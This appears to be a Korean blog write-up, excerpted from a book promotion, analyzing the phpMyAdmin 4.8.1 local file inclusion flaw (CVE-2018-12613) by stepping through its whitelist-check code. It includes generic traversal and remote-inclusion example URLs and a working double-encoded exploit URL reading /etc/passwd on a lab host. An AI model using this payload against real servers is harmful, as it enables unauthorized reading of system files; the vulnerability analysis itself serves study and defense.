phpmyadmin Local File Inclusion 취약점(CVE-2018-12613) 재분석
- 악의적인 사용을 금합니다. 법적 책임은 본인에게 있습니다.
- 무단 도용/복제를 급합니다. 본 글의 저작권은 huti에게 있습니다.
URL에 파일 경로를 포함하면, 사용자가 웹서버에 있는 파일을 열람할 수 있는 취약점이다.
File Inclusion 취약점을 이용한 공격은 LFI(Local File Inclusion)와 RFI(Remote File Inclusion)로 나뉜다.
- LFI(Local File Inclusion) 공격
LFI 공격은 Directory Traversal 취약점을 많이 이용한다.
Directory Traversal 취약점은 브라우저로 웹서버의 특정 경로에 접근해 디렉토리를 이동할 수 있는 취약점이다.
다음은 Directory Traversal 취약점을 활용한 LFI 공격 예시이다.
http://example.com/index.php?file=../../../../etc/passwd
이전 경로로 이동하는 ../을 이용해 /etc/passwd 파일을 열람하려는 공격이다.
- RFI(Remote File Inclusion) 공격
RFI 공격은 URL 인자를 이용해 외부(원격) 웹서버의 파일에 접근하는 공격이다.
다음은 RFI 공격의 예시이다.
http://example.com/index.php?language=http://test.com/hackcode.bin
- phpmyadmin LFI 취약점 분석
phpmyadmin 4.8.1은 LFI 공격에 취약하다.
다음은 LFI 공격 성공 화면이다.
이 취약점은 URL Query String의 유효성을 검증하는 부분에서 발생한다.
index.php 코드를 보면, target 매개 변수를 검증하는 부분이 있다.
target 인자를 include하기 위해서는 if문을 만족해야 한다. if문을 해석하면, 아래와 같다.
- target 인자가 공백이 아니어야 한다.
- target 인자는 문자열이어야 한다.
- index로 시작해서는 안 된다.
- $target_blacklist 배열 안에 없어야 한다.
- Core.php의 checkPageValidity 함수에서 검증을 거쳐야 한다.
core.php 코드를 보면, checkPageValidity 함수에서 유효성 검증을 한다.
위의 if문을 차례로 분석해 보자.
첫 번째 if문은 $whitelist가 공백이라면, $whitelist 변수에 self::$goto_whitelist; 값을 넣는다. $goto_whitelist는 현재 페이지(self)의 31 번째 줄에 있다.
다음은 core.php에 있는 whitelist 목록이다.
두 번째 if문을 보면, $page가 없거나 문자열이 아니면, false를 반환한다. 우리는 문자열을 입력했기 때문에 두 번째 if문에서 false를 반환하지 않고, 세 번째 if문으로 넘어간다.
세 번째 if문은 $page가 $whitelist에 있으면, true 값을 반환하다. db_sql.php%3f/../../../../../../../../etc/passwd이 $whitelist에 없으므로 true를 반환하지 않고 다음으로 넘어간다.
네 번째 if문을 선언하기 전에 $_page 변수를 선언한다. $_page 변수에 들어가는 값은 mb_substr() 함수의 반환 값이다. mb_substr() 함수는 문자열을 자르는 함수이고, 함수의 인자는 다음과 같다.
mb_substr(문자열, 시작위치, 나타낼 길이, 인코딩방식);
위에 따르면, $_page는 $page 문자열을 0 번째부터 mb_strpos()함수 반환값의 길이만큼 자른 문자열이다. mb_strpos()함수의 반환값을 알아야 $_page의 정확한 값을 구할 수 있다. mb_strpos()는 문자열의 첫 위치를 나타내는 함수이고, 인자는 아래와 같다.
mb_strpos(대상 문자열, 조건 문자열, 검색 시작 위치, 인코딩방식)
mb_strpos($page . '?', '?')은 $page?에서 ?가 시작되는 위치를 구하라는 뜻이다. db_sql.php%3f/../../../../../../../../etc/passwd?에서 ?이 검색되는 위치는 56이다. 네 번째 if문은 $page의 0 번째 문자부터 56개의 문자를 반환하므로 db_sql.php%3f/../../../../../../../../etc/passwd을 반환한다. 네 번째 if문은 $_page가 $whitelist 배열에 있으면, true 값을 반환하는데, db_sql.php%3f/../../../../../../../../etc/passwd은 $whitelist 배열에 존재하지 않는다. 따라서 true를 반환하지 않고, 다음 조건문으로 넘어간다.
이제 마지막 if문이 남았다.
마지막 if문이 실행되기 전에 $_page 변수 값이 두 번 바뀐다.
urldecode($page)가 실행되면서 $_page 변수가 새로운 값으로 바뀌는데, 여기서 취약점이 발생한다. Burp Suite의 Decoder 탭에서 Decode as URL을 선택하면, 복호화된 URL을 확인할 수 있다.
db_sql.php%3f/../../../../../../../../etc/passwd를 URL decoding하면 db_sql.php?/../../../../../../../../etc/passwd가 된다.
urldecode() 함수가 실행되고, 다시 한 번 $_page 변수를 선언한다. $_page 문자열을 0 번째부터 mb_strpos()함수 반환 값의 길이만큼 자르면, 마지막 $_page 변수의 값을 구할 수 있다. mb_strpos($_page . '?', '?')은 db_sql.php?/../../../../../../../../etc/passwd?에서 ?의 첫 번째 위치이므로 10이 된다. 그리고 mb_substr($_page, 0, 10);을 실행하면, db_sql.php을 반환한다. 따라서 마지막 $_page의 값은 db_sql.php이다.
마지막 if문은 $_page의 값이 $whitelist 배열에 있으면, true를 반환한다. db_sql.php이 whitelist 배열 안에 있으므로 checkPageValidity 함수의 반환값은 true가 된다.
따라서 http://10.0.2.15:2345/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd으로 접근했을 때, if문에서 true를 반환하게 된다. 그렇기 때문에 include $_REQUEST['target']이 실행되어 Local File이 inclusion되는 것이다.
이 내용은 칼리!도커를해킹하다 2부의 아주 일부입니다. 책에서 더 자세히 다룹니다. 2부는 2019년 5월 출간 예정입니다.
칼리!도커를해킹하다 1부는 2부를 공부하기 전에 알아야 할 내용으로 이미 전자책으로 출간되었습니다.
칼리! 도커를 해킹하다
이 책은 총 3부로 기획했다. 입문자나 초급자가 중급 정도의 수준까지 끌어올릴 수 있도록 다소 욕심을 부렸다. 1부는 입문자나 초급자에게 맞췄고...
ridibooks.com
예스24 http://www.yes24.com/Product/Goods/71536932?scode=032&OzSrank=4
알라딘 https://www.aladin.co.kr/shop/wproduct.aspx?ItemId=187404326